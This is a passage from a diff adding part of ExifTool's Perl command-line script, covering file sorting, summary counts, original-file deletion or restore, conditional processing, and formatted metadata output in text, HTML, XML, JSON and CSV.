CanWrite($outOpt); + unless ($canWrite) { + if (defined $canWrite and $canWrite eq '') { + $type = Image::ExifTool::GetFileExtension($outOpt); + $type = uc($outOpt) unless defined $type; + } + Warn "Can't write $type files\n"; + $rtnVal = 1; + next; + } + $scanWritable = $type unless CanCreate($type); + } else { + $scanWritable = 1; + } + $isWriting = 1; # set writing flag +} elsif ($isWriting or defined $deleteOrig) { + $scanWritable = 1; +} + +# initialize alternate encoding flag +$altEnc = $mt->Options('Charset'); +undef $altEnc if $altEnc eq 'UTF8'; + +# set flag to fix description lengths if necessary +if (not $altEnc and $mt->Options('Lang') ne 'en' and eval { require Encode }) { + # (note that Unicode::GCString is part of the Unicode::LineBreak package) + $fixLen = eval { require Unicode::GCString } ? 2 : 1; +} + +# sort input files if specified +if (@fileOrder) { + my @allFiles; + ProcessFiles($mt, \@allFiles); + my $sortTool = Image::ExifTool->new; + $sortTool->Options(FastScan => $fileOrderFast) if $fileOrderFast; + $sortTool->Options(PrintConv => $mt->Options('PrintConv')); + $sortTool->Options(Duplicates => 0); + my (%sortBy, %isFloat, @rev, $file); + # save reverse sort flags + push @rev, (s/^-// ? 1 : 0) foreach @fileOrder; + foreach $file (@allFiles) { + my @tags; + my $info = $sortTool->ImageInfo(Infile($file,1), @fileOrder, \@tags); + # get values of all tags (or '~' to sort last if not defined) + foreach (@tags) { + $_ = $$info{$_}; # put tag value into @tag list + defined $_ or $_ = '~', next; + $isFloat{$_} = Image::ExifTool::IsFloat($_); + # pad numbers to 12 digits to keep them sequential + s/(\d+)/(length($1) < 12 ? '0'x(12-length($1)) : '') . $1/eg unless $isFloat{$_}; + } + $sortBy{$file} = \@tags; # save tag values for each file + } + # sort in specified order + @files = sort { + my ($i, $cmp); + for ($i=0; $i<@rev; ++$i) { + my $u = $sortBy{$a}[$i]; + my $v = $sortBy{$b}[$i]; + if (not $isFloat{$u} and not $isFloat{$v}) { + $cmp = $u cmp $v; # alphabetically + } elsif ($isFloat{$u} and $isFloat{$v}) { + $cmp = $u <=> $v; # numerically + } else { + $cmp = $isFloat{$u} ? -1 : 1; # numbers first + } + return $rev[$i] ? -$cmp : $cmp if $cmp; + } + return $a cmp $b; # default to sort by name + } @allFiles; +} elsif (defined $progress) { + # expand FILE argument to count the number of files to process + my @allFiles; + ProcessFiles($mt, \@allFiles); + @files = @allFiles; +} +# set file count for progress message +$progressMax = scalar @files if defined $progress; + +# store duplicate database information under absolute path +my @dbKeys = keys %database; +if (@dbKeys) { + if (eval { require Cwd }) { + undef $evalWarning; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + foreach (@dbKeys) { + my $db = $database{$_}; + tr/\\/\// and $database{$_} = $db; # allow for backslashes in SourceFile + # (punt on using ConvertFileName here, so $absPath may be a mix of encodings) + my $absPath = AbsPath($_); + if (defined $absPath) { + $database{$absPath} = $db unless $database{$absPath}; + if ($verbose and $verbose > 1) { + print $vout "Imported entry for '${_}' (full path: '${absPath}')\n"; + } + } elsif ($verbose and $verbose > 1) { + print $vout "Imported entry for '${_}' (non-existent file)\n"; + } + } + } +} + +# process all specified files +ProcessFiles($mt); + +if ($filtered and not $validFile) { + Warn "No file with specified extension\n"; + $rtnVal = 1; +} + +# print CSV information if necessary +PrintCSV() if $csv and not $isWriting; + +# print folder/file trailer if necessary +if ($textOut) { + foreach (keys %outTrailer) { + next unless $outTrailer{$_}; + if ($mt->Open(\*OUTTRAIL, $_, '>>')) { + my $fp = \*OUTTRAIL; + print $fp $outTrailer{$_}; + close $fp; + } else { + Error("Error appending to $_\n"); + } + } +} else { + print $sectTrailer if $sectTrailer; + print $fileTrailer if $fileTrailer and not $fileHeader; +} + +my $totWr = $countGoodWr + $countBadWr + $countSameWr + $countCopyWr + + $countGoodCr + $countBadCr; + +if (defined $deleteOrig) { + + # print summary and delete requested files + unless ($quiet) { + printf "%5d directories scanned\n", $countDir if $countDir; + printf "%5d directories created\n", $countNewDir if $countNewDir; + printf "%5d files failed condition\n", $countFailed if $countFailed; + printf "%5d image files found\n", $count; + } + if (@delFiles) { + # verify deletion unless "-delete_original!" was specified + if ($deleteOrig == 1) { + printf '%5d originals will be deleted! Are you sure [y/n]? ', scalar(@delFiles); + my $response = ; + unless ($response =~ /^(y|yes)\s*$/i) { + Warn "Originals not deleted.\n"; + next; + } + } + $countGoodWr = $mt->Unlink(@delFiles); + $countBad = scalar(@delFiles) - $countGoodWr; + } + if ($quiet) { + # no more messages + } elsif ($count and not $countGoodWr and not $countBad) { + printf "%5d original files found\n", $countGoodWr; # (this will be 0) + } elsif ($deleteOrig) { + printf "%5d original files deleted\n", $countGoodWr if $count; + printf "%5d originals not deleted due to errors\n", $countBad if $countBad; + } else { + printf "%5d image files restored from original\n", $countGoodWr if $count; + printf "%5d files not restored due to errors\n", $countBad if $countBad; + } + +} elsif ((not $binaryStdout or $verbose) and not $quiet) { + + # print summary + my $tot = $count + $countBad; + if ($countDir or $totWr or $countFailed or $tot > 1 or $textOut or %countLink) { + my $o = (($html or $json or $xml or %printFmt or $csv) and not $textOut) ? \*STDERR : $vout; + printf($o "%5d directories scanned\n", $countDir) if $countDir; + printf($o "%5d directories created\n", $countNewDir) if $countNewDir; + printf($o "%5d files failed condition\n", $countFailed) if $countFailed; + printf($o "%5d image files created\n", $countGoodCr) if $countGoodCr; + printf($o "%5d image files updated\n", $countGoodWr) if $totWr - $countGoodCr - $countBadCr - $countCopyWr; + printf($o "%5d image files unchanged\n", $countSameWr) if $countSameWr; + printf($o "%5d image files %s\n", $countCopyWr, $overwriteOrig ? 'moved' : 'copied') if $countCopyWr; + printf($o "%5d files weren't updated due to errors\n", $countBadWr) if $countBadWr; + printf($o "%5d files weren't created due to errors\n", $countBadCr) if $countBadCr; + printf($o "%5d image files read\n", $count) if ($tot+$countFailed)>1 or ($countDir and not $totWr); + printf($o "%5d files could not be read\n", $countBad) if $countBad; + printf($o "%5d output files created\n", scalar(keys %created)) if $textOut; + printf($o "%5d output files appended\n", scalar(keys %appended)) if %appended; + printf($o "%5d hard links created\n", $countLink{Hard} || 0) if $countLink{Hard} or $countLink{BadHard}; + printf($o "%5d hard links could not be created\n", $countLink{BadHard}) if $countLink{BadHard}; + printf($o "%5d symbolic links created\n", $countLink{Sym} || 0) if $countLink{Sym} or $countLink{BadSym}; + printf($o "%5d symbolic links could not be created\n", $countLink{BadSym}) if $countLink{BadSym}; + } +} + +# set error status if we had any errors or if all files failed the "-if" condition +if ($countBadWr or $countBadCr or $countBad) { + $rtnVal = 1; +} elsif ($countFailed and not ($count or $totWr) and not $rtnVal) { + $rtnVal = 2; +} + +# clean up after each command +Cleanup(); + +} # end "Command" loop ........................................................ + +close STAYOPEN if $stayOpen >= 2; + +Exit $rtnValApp; # all done + + +#------------------------------------------------------------------------------ +# Get image information from EXIF data in file (or write file if writing) +# Inputs: 0) ExifTool object reference, 1) file name +sub GetImageInfo($$) +{ + my ($et, $orig) = @_; + my (@foundTags, $info, $file, $ind, $g8); + + # set window title for this file if necessary + if (defined $windowTitle) { + if ($progressCount >= $progressNext) { + my $prog = $progressMax ? "$progressCount/$progressMax" : '0/0'; + my $title = $windowTitle; + my ($num, $denom) = split '/', $prog; + my $frac = $num / ($denom || 1); + my $n = $title =~ s/%(\d+)b/%b/ ? $1 : 20; # length of bar + my $bar = int($frac * $n + 0.5); + my %lkup = ( + b => ('I' x $bar) . ('.' x ($n - $bar)), + f => $orig, + p => int(100 * $frac + 0.5), + r => $prog, + '%'=> '%', + ); + $title =~ s/%([%bfpr])/$lkup{$1}/eg; + SetWindowTitle($title); + if (defined $progressMax) { + undef $progressNext; + } else { + $progressNext += $progressIncr; + } + } + # ($progressMax is not defined for "-progress:%f") + ++$progressCount unless defined $progressMax; + } + unless (length $orig or $outOpt) { + Warn qq(Error: Zero-length file name - ""\n); + ++$countBad; + return; + } + # determine the name of the source file based on the original input file name + if (@srcFmt) { + my ($fmt, $first); + foreach $fmt (@srcFmt) { + $file = $fmt eq '@' ? $orig : FilenameSPrintf($fmt, $orig); + # use this file if it exists + $et->Exists($file) and undef($first), last; + $verbose and print $vout "Source file $file does not exist\n"; + $first = $file unless defined $first; + } + $file = $first if defined $first; + my ($d, $f) = Image::ExifTool::SplitFileName($orig); + $et->Options(UserParam => "OriginalDirectory#=$d"); + $et->Options(UserParam => "OriginalFileName#=$f"); + } else { + $file = $orig; + } + # set alternate file names + foreach $g8 (sort keys %altFile) { + my $altName = $orig; + # must double any '$' symbols in the original file name because + # they are used for tag names in a -fileNUM argument + $altName =~ s/\$/\$\$/g; + $altName = FilenameSPrintf($altFile{$g8}, $altName); + $et->SetAlternateFile($g8, $altName); + } + + my $pipe = $file; + if ($doUnzip) { + # pipe through gzip or bzip2 if necessary + if ($file =~ /\.(gz|bz2)$/i) { + my $type = lc $1; + if ($file =~ /[^-_.'A-Za-z0-9\/\\]/) { + Warn "Error: Insecure zip file name. Skipped\n"; + EFile($file); + ++$countBad; + return; + } + if ($type eq 'gz') { + $pipe = qq{gzip -dc "$file" |}; + } else { + $pipe = qq{bzip2 -dc "$file" |}; + } + $$et{TRUST_PIPE} = 1; + } + } + # evaluate -if expression for conditional processing + if (@condition) { + unless ($file eq '-' or $et->Exists($file)) { + Warn "Error: File not found - $file\n"; + EFile($file); + FileNotFound($file); + ++$countBad; + return; + } + my $result; + + unless ($failCondition) { + # catch run time errors as well as compile errors + undef $evalWarning; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + + my (%info, $condition); + # extract information and build expression for evaluation + my $opts = { Duplicates => 1, RequestTags => \@requestTags, Verbose => 0, HtmlDump => 0 }; + $$opts{FastScan} = $fastCondition if defined $fastCondition; + # return all tags but explicitly mention tags on command line so + # requested images will generate the appropriate warnings + @foundTags = ('*', @tags) if @tags; + $info = $et->ImageInfo(Infile($pipe,$isWriting), \@foundTags, $opts); + foreach $condition (@condition) { + my $cond = $et->InsertTagValues($condition, \@foundTags, \%info); + { + # set package so eval'd functions are in Image::ExifTool namespace + package Image::ExifTool; + + my $self = $et; + #### eval "-if" condition (%info, $self) + $result = eval $cond; + + $@ and $evalWarning = $@; + } + if ($evalWarning) { + # fail condition if warning is issued + undef $result; + if ($verbose) { + chomp $evalWarning; + $evalWarning =~ s/ at \(eval .*//s; + Warn "Condition: $evalWarning - $file\n"; + } + } + last unless $result; + } + undef @foundTags if $fastCondition; # ignore if we didn't get all tags + } + unless ($result) { + Progress($vout, "-------- $file (failed condition)") if $verbose; + EFile($file, 2); + ++$countFailed; + return; + } + # can't make use of $info if verbose because we must reprocess + # the file anyway to generate the verbose output + undef $info if $verbose or defined $fastCondition; + } elsif ($file =~ s/^(\@JSON:)(.*)/$1/) { + # read JSON file from command line + my $dat = $2; + $info = $et->ImageInfo(\$dat, \@foundTags); + if ($geoOnly) { /^Geolocation/ or delete $$info{$_} foreach keys %$info; $file = ' ' } + } + if (defined $deleteOrig) { + Progress($vout, "======== $file") if defined $verbose; + ++$count; + my $original = "${file}_original"; + $et->Exists($original) or return; + if ($deleteOrig) { + $verbose and print $vout "Scheduled for deletion: $original\n"; + push @delFiles, $original; + } elsif ($et->Rename($original, $file)) { + $verbose and print $vout "Restored from $original\n"; + EFile($file, 3); + ++$countGoodWr; + } else { + Warn "Error renaming $original\n"; + EFile($file); + ++$countBad; + } + return; + } + ++$seqFileNum; # increment our file counter + my ($dir) = Image::ExifTool::SplitFileName($orig); + $seqFileDir = $seqFileDir{$dir} = ($seqFileDir{$dir} || 0) + 1; + + my $lineCount = 0; + my ($fp, $outfile, $append); + if ($textOut and ($verbose or $et->Options('PrintCSV')) and not $tagOut) { + ($fp, $outfile, $append) = OpenOutputFile($orig); + $fp or EFile($file), ++$countBad, return; + # delete file if we exit prematurely (unless appending) + $tmpText = $outfile unless $append; + $et->Options(TextOut => $fp); + } + + if ($isWriting) { + Progress($vout, "======== $file") if defined $verbose; + SetImageInfo($et, $file, $orig); + $info = $et->GetInfo('Warning', 'Error'); + PrintErrors($et, $info, $file); + # close output text file if necessary + if (defined $outfile) { + undef $tmpText; + close($fp); + $et->Options(TextOut => $vout); + if ($info->{Error}) { + $et->Unlink($outfile); # erase bad file + } elsif ($append) { + $appended{$outfile} = 1 unless $created{$outfile}; + } else { + $created{$outfile} = 1; + } + } + return; + } + + # extract information from this file + unless ($file eq '-' or $et->Exists($file) or $info) { + Warn "Error: File not found - $file\n"; + FileNotFound($file); + defined $outfile and close($fp), undef($tmpText), $et->Unlink($outfile); + EFile($file); + ++$countBad; + return; + } + # print file/progress message + my $o; + unless ($binaryOutput or $textOut or %printFmt or $html > 1 or $csv) { + if ($html) { + require Image::ExifTool::HTML; + my $f = Image::ExifTool::HTML::EscapeHTML($file); + print "\n"; + } elsif (not ($json or $xml)) { + $o = \*STDOUT if ($multiFile and not $quiet) or $progress; + } + } + $o = \*STDERR if $progress and not $o; + Progress($o, "======== $file") if $o; + if ($info) { + # get the information we wanted + if (@tags and not %printFmt) { + @foundTags = @tags; + $info = $et->GetInfo(\@foundTags); + } + } else { + # request specified tags unless using print format option + my $oldDups = $et->Options('Duplicates'); + if (%printFmt) { + $et->Options(Duplicates => 1); + $et->Options(RequestTags => \@requestTags); + if ($printFmt{SetTags}) { + # initialize options so we can set any tags we want + $$et{TAGS_FROM_FILE} = 1; + $et->Options(MakerNotes => 1); + $et->Options(Struct => 2); + $et->Options(List => 1); + $et->Options(CoordFormat => '%d %d %.8f') unless $et->Options('CoordFormat'); + } + } else { + @foundTags = @tags; + } + # extract the information + $info = $et->ImageInfo(Infile($pipe), \@foundTags); + $et->Options(Duplicates => $oldDups); + } + # all done now if we already wrote output text file (eg. verbose option) + if ($fp) { + if (defined $outfile) { + $et->Options(TextOut => \*STDOUT); + undef $tmpText; + if ($info->{Error}) { + close($fp); + $et->Unlink($outfile); # erase bad file + } else { + ++$lineCount; # output text file (likely) is not empty + } + } + if ($info->{Error}) { + Warn "Error: $info->{Error} - $file\n"; + EFile($file); + ++$countBad; + return; + } + } + + # print warnings to stderr if using binary output + # (because we are likely ignoring them and piping stdout to file) + # or if there is none of the requested information available + if ($binaryOutput or not %$info) { + my $errs = $et->GetInfo('Warning', 'Error'); + PrintErrors($et, $errs, $file) and EFile($file), $rtnVal = 1; + } elsif ($et->GetValue('Error') or ($$et{Validate} and $et->GetValue('Warning'))) { + $rtnVal = 1; + } + + # open output file (or stdout if no output file) if not done already + unless (defined $outfile or $tagOut) { + ($fp, $outfile, $append) = OpenOutputFile($orig); + $fp or EFile($file), ++$countBad, return; + $tmpText = $outfile unless $append; + } + + # restore state of comma flag for this file if appending + $comma = $outComma{$outfile} if $append and ($textOverwrite & 0x02); + + # print the results for this file + if (%printFmt) { + # output using print format file (-p) option + my ($type, $doc, $grp, $lastDoc, $cache); + $fileTrailer = ''; + # repeat for each sub-document if necessary + if ($$et{DOC_COUNT}) { + # (cache tag keys if there are sub-documents) + $lastDoc = $$et{DOC_COUNT} and $cache = { }; + } else { + $lastDoc = 0; + } + for ($doc=0; $doc<=$lastDoc; ++$doc) { + my ($skipBody, $opt); + foreach $type (qw(HEAD SECT IF BODY ENDS TAIL)) { + my $prf = $printFmt{$type} or next; + if ($type eq 'HEAD' and defined $outfile) { + next if $wroteHEAD{$outfile}; + $wroteHEAD{$outfile} = 1; + } + next if $type eq 'BODY' and $skipBody; + # silence "IF" warnings and warnings for subdocuments > 1 + if ($type eq 'IF' or ($doc > 1 and not $$et{OPTIONS}{IgnoreMinorErrors})) { + $opt = 'Silent'; + } else { + $opt = 'Warn'; + } + if ($lastDoc) { + if ($doc) { + next if $type eq 'HEAD' or $type eq 'TAIL'; # only repeat SECT/IF/BODY/ENDS + $grp = "Doc$doc"; + } else { + $grp = 'Main'; + } + } + my @lines; + foreach (@$prf) { + my $line = $et->InsertTagValues($_, \@foundTags, $opt, $grp, $cache); + if ($type eq 'IF') { + $skipBody = 1 unless defined $line; + } elsif (defined $line) { + push @lines, $line; + } + } + $lineCount += scalar @lines; + if ($type eq 'SECT') { + my $thisHeader = join '', @lines; + if ($sectHeader and $sectHeader ne $thisHeader) { + print $fp $sectTrailer if $sectTrailer; + undef $sectHeader; + } + $sectTrailer = ''; + print $fp $sectHeader = $thisHeader unless $sectHeader; + } elsif ($type eq 'ENDS') { + $sectTrailer .= join '', @lines if defined $sectHeader; + } elsif ($type eq 'TAIL') { + $fileTrailer .= join '', @lines; + } elsif (@lines) { + print $fp @lines; + } + } + } + delete $printFmt{HEAD} unless defined $outfile; # print header only once per output file + my $errs = $et->GetInfo('Warning', 'Error'); + PrintErrors($et, $errs, $file) and EFile($file); + } elsif (not $disableOutput) { + my ($tag, $line, %noDups, %csvInfo, $bra, $ket, $sep); + if ($fp) { + # print file header (only once) + if ($fileHeader) { + print $fp $fileHeader unless defined $outfile and ($created{$outfile} or $appended{$outfile}); + undef $fileHeader unless $textOut; + } + if ($html) { + print $fp "\n"; + } elsif ($xml) { + my $f = $file; + CleanXML(\$f); + print $fp "\nGetGroup($tag); + unless ($grp1) { + next unless defined $forcePrint; + $grp0 = $grp1 = 'Unknown'; + } + # add groups from structure fields + AddGroups($$info{$tag}, $grp0, \%groups, \@groups) if ref $$info{$tag}; + next if $groups{$grp1}; + # include family 0 and 1 groups in URI except for internal tags + # (this will put internal tags in the "XML" group on readback) + $groups{$grp1} = $grp0; + push @groups, $grp1; + } + foreach $grp1 (@groups) { + my $grp = $groups{$grp1}; + unless ($grp eq $grp1 and $grp =~ /^(ExifTool|File|Composite|Unknown)$/) { + $grp .= "/$grp1"; + } + print $fp "\n xmlns:$grp1='http://ns.exiftool.org/$grp/1.0/'"; + } + print $fp '>' if $outFormat < 1; # finish rdf:Description token unless short format + $ind = $outFormat >= 0 ? ' ' : ' '; + } elsif ($json) { + # set delimiters for JSON or PHP output + ($bra, $ket, $sep) = $json == 1 ? ('{','}',':') : ('Array(',')',' =>'); + print $fp ",\n" if $comma; + print $fp qq($bra\n "SourceFile"$sep ), EscapeJSON(MyConvertFileName($et,$file),1); + $comma = 1; + $ind = (defined $showGroup and not $allGroup) ? ' ' : ' '; + } elsif ($csv) { + my $file2 = MyConvertFileName($et, $file); + $database{$file2} = \%csvInfo; + push @csvFiles, $file2; + } + } + # suppress duplicates manually in JSON and short XML output + my $noDups = ($json or ($xml and $outFormat > 0)); + my $printConv = $et->Options('PrintConv'); + my $lastGroup = ''; + my $i = -1; +TAG: foreach $tag (@foundTags) { + ++$i; # keep track on index in @foundTags + my $tagName = GetTagName($tag); + my ($group, $valList); + # get the value for this tag + my $val = $$info{$tag}; + # set flag if this is binary data + $isBinary = (ref $val eq 'SCALAR' and defined $binaryOutput); + if (ref $val) { + # happens with -X, -j or -php when combined with -b: + if (defined $binaryOutput and not $binaryOutput and $$et{TAG_INFO}{$tag}{Protected}) { + # avoid extracting Unsafe binary tags (eg. data blocks) [insider information] + my $lcTag = lc $tag; + $lcTag =~ s/ .*//; + next unless $$et{REQ_TAG_LOOKUP}{$lcTag} or ($$et{OPTIONS}{RequestAll} || 0) > 2; + } + $val = ConvertBinary($val); # convert SCALAR references + next unless defined $val; + if ($structOpt and ref $val) { + # serialize structure if necessary + $val = Image::ExifTool::XMP::SerializeStruct($et, $val) unless $xml or $json; + } elsif (ref $val eq 'ARRAY') { + if (defined $listItem) { + # take only the specified item + $val = $$val[$listItem]; + # join arrays of simple values (with newlines for binary output) + } elsif ($binaryOutput) { + if ($tagOut) { + $valList = $val; + $val = shift @$valList; + } else { + $val = join defined $binSep ? $binSep : "\n", @$val; + } + } elsif ($joinLists) { + $val = join $listSep, @$val; + } + } + } + if (not defined $val) { + # ignore tags that weren't found unless necessary + next if $binaryOutput; + if (defined $forcePrint) { + $val = $forcePrint; # forced to print all tag values + } elsif (not $csv) { + next; + } + } + if (defined $showGroup) { + $group = $et->GetGroup($tag, $showGroup); + # look ahead to see if this tag may suppress a priority tag in + # the same group, and if so suppress this tag instead + # (note that the tag key may look like "TAG #(1)" when the "#" feature is used) + next if $noDups and $tag =~ /^(.*?) ?\(/ and defined $$info{$1} and + $group eq $et->GetGroup($1, $showGroup); + $group = 'Unknown' if not $group and ($xml or $json or $csv); + if ($fp and not ($allGroup or $csv)) { + if ($lastGroup ne $group) { + if ($html) { + my $cols = 1; + ++$cols if $outFormat==0 or $outFormat==1; + ++$cols if $showTagID; + print $fp "\n"; + } elsif ($json) { + print $fp "\n $ket" if $lastGroup; + print $fp ',' if $lastGroup or $comma; + print $fp qq(\n "$group"$sep $bra); + undef $comma; + undef %noDups; # allow duplicate names in different groups + } else { + print $fp "---- $group ----\n"; + } + $lastGroup = $group; + } + undef $group; # undefine so we don't print it below + } + } elsif ($noDups) { + # don't allow duplicates, but avoid suppressing the priority tag + next if $tag =~ /^(.*?) ?\(/ and defined $$info{$1}; + } + + ++$lineCount; # we are printing something meaningful + + # loop through list values when -b -W used + for (;;) { + if ($tagOut) { + # determine suggested extension for output file + my $ext = SuggestedExtension($et, \$val, $tagName); + if (%wext and ($wext{$ext} || $wext{'*'} || -1) < 0) { + if ($verbose and $verbose > 1) { + print $vout "Not writing $ext output file for $tagName\n"; + } + next TAG; + } + my @groups = $et->GetGroup($tag); + defined $outfile and close($fp), undef($tmpText); # (shouldn't happen) + my $org = $et->GetValue('OriginalRawFileName') || $et->GetValue('OriginalFileName'); + ($fp, $outfile, $append) = OpenOutputFile($orig, $tagName, \@groups, $ext, $org); + $fp or ++$countBad, next TAG; + $tmpText = $outfile unless $append; + } + # write binary output + if ($binaryOutput) { + print $fp $val; + print $fp $binTerm if defined $binTerm; + if ($tagOut) { + if ($append) { + $appended{$outfile} = 1 unless $created{$outfile}; + } else { + $created{$outfile} = 1; + } + close($fp); + undef $tmpText; + $verbose and print $vout "Wrote $tagName to $outfile\n"; + undef $outfile; + undef $fp; + next TAG unless $valList and @$valList; + $val = shift @$valList; + next; # loop over values of List tag + } + next TAG; + } + last; + } + # save information for CSV output + if ($csv) { + my $tn = $tagName; + $tn .= '#' if $tag =~ /#/; # add ValueConv "#" suffix if used + my $gt = $group ? "$group:$tn" : $tn; + # (tag-name case may be different if some tags don't exist + # in a file, so all logic must use lower-case tag names) + my $lcTag = lc $gt; + # override existing entry only if top priority + next if defined $csvInfo{$lcTag} and $tag =~ /\(/; + $csvInfo{$lcTag} = $val; + if (defined $csvTags{$lcTag}) { + # overwrite with actual extracted tag name + # (note: can't check "if defined $val" here because -f may be used) + $csvTags{$lcTag} = $gt if defined $$info{$tag}; + next; + } + # must check for "Unknown" group (for tags that don't exist) + if ($group and defined $csvTags[$i] and $csvTags[$i] =~ /^(.*):$tn$/i) { + next if $group eq 'Unknown'; # nothing more to do if we don't know tag group + if ($1 eq 'unknown') { + # replace unknown entry in CSV tag lookup and list + delete $csvTags{$csvTags[$i]}; + $csvTags{$lcTag} = defined($val) ? $gt : ''; + $csvTags[$i] = $lcTag; + next; + } + } + # (don't save unextracted tag name unless -f was used) + $csvTags{$lcTag} = defined($val) ? $gt : ''; + if (@csvFiles == 1) { + push @csvTags, $lcTag; # save order of tags for first file + } elsif (@csvTags) { + undef @csvTags; + } + next; + } + + # get description if we need it (use tag name if $outFormat > 0) + my $desc = $outFormat > 0 ? $tagName : $et->GetDescription($tag); + + if ($xml) { + # RDF/XML output format + my $tok = "$group:$tagName"; + if ($outFormat > 0) { + if ($structOpt and ref $val) { + $val = Image::ExifTool::XMP::SerializeStruct($et, $val); + } + if ($escapeHTML) { + $val =~ tr/\0-\x08\x0b\x0c\x0e-\x1f/./; + Image::ExifTool::XMP::FixUTF8(\$val) unless $altEnc; + $val = Image::ExifTool::HTML::EscapeHTML($val, $altEnc); + } else { + CleanXML(\$val); + } + unless ($noDups{$tok}) { + # manually un-do CR/LF conversion in Windows because output + # is in text mode, which will re-convert newlines to CR/LF + $isCRLF and $val =~ s/\x0d\x0a/\x0a/g; + print $fp "\n $tok='${val}'"; + # XML does not allow duplicate attributes + $noDups{$tok} = 1; + } + next; + } + my ($xtra, $valNum, $descClose); + if ($showTagID) { + my ($id, $lang) = $et->GetTagID($tag); + if ($id =~ /^\d+$/) { + $id = sprintf("0x%.4x", $id) if $showTagID eq 'H'; + } else { + $id = Image::ExifTool::XMP::FullEscapeXML($id); + } + $xtra = " et:id='${id}'"; + $xtra .= " xml:lang='${lang}'" if $lang; + } else { + $xtra = ''; + } + if ($tabFormat) { + my $table = $et->GetTableName($tag); + my $index = $et->GetTagIndex($tag); + $xtra .= " et:table='${table}'"; + $xtra .= " et:index='${index}'" if defined $index; + } + # Note: New $xtra attributes must be added to %ignoreEtProp in XMP.pm! + my $lastVal = $val; + for ($valNum=0; $valNum<2; ++$valNum) { + $val = FormatXML($val, $ind, $group); + # manually un-do CR/LF conversion in Windows because output + # is in text mode, which will re-convert newlines to CR/LF + $isCRLF and $val =~ s/\x0d\x0a/\x0a/g; + if ($outFormat >= 0) { + # normal output format (note: this will give + # non-standard RDF/XML if there are any attributes) + print $fp "\n <$tok$xtra$val"; + last; + } elsif ($valNum == 0) { + CleanXML(\$desc); + if ($xtra) { + print $fp "\n <$tok>"; + print $fp "\n "; + $descClose = "\n "; + } else { + print $fp "\n <$tok rdf:parseType='Resource'>"; + $descClose = ''; + } + # print tag Description + print $fp "\n $desc"; + if ($printConv) { + # print PrintConv value + print $fp "\n "; + $val = $et->GetValue($tag, 'ValueConv'); + $val = '' unless defined $val; + # go back to print ValueConv value only if different + next unless IsEqual($val, $lastVal); + print $fp "$descClose\n "; + last; + } + } + # print ValueConv value + print $fp "\n "; + print $fp "$descClose\n "; + last; + } + next; + } elsif ($json) { + # JSON or PHP output format + my $tok = $allGroup ? "$group:$tagName" : $tagName; + # (removed due to backward incompatibility) + # $tok .= '#' if $tag =~ /#/; # add back '#' suffix if used + next if $noDups{$tok}; + $noDups{$tok} = 1; + print $fp ',' if $comma; + print $fp qq(\n$ind"$tok"$sep ); + if ($showTagID or $outFormat < 0) { + $val = { val => $val }; + if ($showTagID) { + my ($id, $lang) = $et->GetTagID($tag); + $id = sprintf('0x%.4x', $id) if $showTagID eq 'H' and $id =~ /^\d+$/; + $$val{lang} = $lang if $lang; + $$val{id} = $id; + } + if ($tabFormat) { + $$val{table} = $et->GetTableName($tag); + my $index = $et->GetTagIndex($tag); + $$val{index} = $index if defined $index; + } + if ($outFormat < 0) { + $$val{desc} = $desc; + if ($printConv) { + my $num = $et->GetValue($tag, 'ValueConv'); + $$val{num} = $num if defined $num and not IsEqual($num, $$val{val}); + } + } + } + FormatJSON($fp, $val, $ind); + $comma = 1; + next; + } + my $id; + if ($showTagID) { + $id = $et->GetTagID($tag); + if ($id =~ /^(\d+)(\.\d+)?$/) { # only print numeric ID's + $id = sprintf("0x%.4x", $1) if $showTagID eq 'H'; + } else { + $id = '-'; + } + } + + if ($escapeC) { + $val =~ s/([\0-\x1f\\\x7f])/$escC{$1} || sprintf('\x%.2x', ord $1)/eg; + } else { + # translate unprintable chars in value and remove trailing spaces + $val =~ tr/\x01-\x1f\x7f/./; + $val =~ s/\x00//g; + $val =~ s/\s+$//; + } + + if ($html) { + print $fp ""; + print $fp "" if defined $group; + print $fp "" if $showTagID; + print $fp "" if $outFormat <= 1; + print $fp "\n"; + } else { + my $buff = ''; + if ($tabFormat) { + $buff = "$group\t" if defined $group; + $buff .= "$id\t" if $showTagID; + if ($outFormat <= 1) { + $buff .= "$desc\t$val\n"; + } elsif (defined $line) { + $line .= "\t$val"; + } else { + $line = $val; + } + } elsif ($outFormat < 0) { # long format + $buff = "[$group] " if defined $group; + $buff .= "$id " if $showTagID; + $buff .= "$desc\n $val\n"; + } elsif ($outFormat == 0 or $outFormat == 1) { + my $wid; + my $len = 0; + if (defined $group) { + $buff = sprintf("%-15s ", "[$group]"); + $len = 16; + } + if ($showTagID) { + $wid = ($showTagID eq 'D') ? 5 : 6; + $len += $wid + 1; + ($wid = $len - length($buff) - 1) < 1 and $wid = 1; + $buff .= sprintf "%${wid}s ", $id; + } + $wid = 32 - (length($buff) - $len); + # pad description to a constant length + # (get actual character length when using alternate languages + # because these descriptions may contain UTF8-encoded characters) + my $padLen = $wid; + if (not $fixLen) { + $padLen -= length $desc; + } elsif ($fixLen == 1) { + $padLen -= length Encode::decode_utf8($desc); + } else { + my $gcstr = eval { Unicode::GCString->new(Encode::decode_utf8($desc)) }; + if ($gcstr) { + $padLen -= $gcstr->columns; + } else { + $padLen -= length Encode::decode_utf8($desc); + Warning($et, 'Unicode::GCString problem. Columns may be misaligned'); + $fixLen = 1; + } + } + $padLen = 0 if $padLen < 0; + $buff .= $desc . (' ' x $padLen) . ": $val\n"; + } elsif ($outFormat == 2) { + $buff = "[$group] " if defined $group; + $buff .= "$id " if $showTagID; + $buff .= "$tagName: $val\n"; + } elsif ($argFormat) { + $buff = '-'; + $buff .= "$group:" if defined $group; + $tagName .= '#' if $tag =~ /#/; # add '#' suffix if used + $buff .= "$tagName=$val\n"; + } else { + $buff = "$group " if defined $group; + $buff .= "$id " if $showTagID; + $buff .= "$val\n"; + } + print $fp $buff; + } + if ($tagOut) { + if ($append) { + $appended{$outfile} = 1 unless $created{$outfile}; + } else { + $created{$outfile} = 1; + } + close($fp); + undef $tmpText; + $verbose and print $vout "Wrote $tagName to $outfile\n"; + undef $outfile; + undef $fp; + } + } + if ($fp) { + if ($html) { + print $fp "
$group
$group$id$desc$val
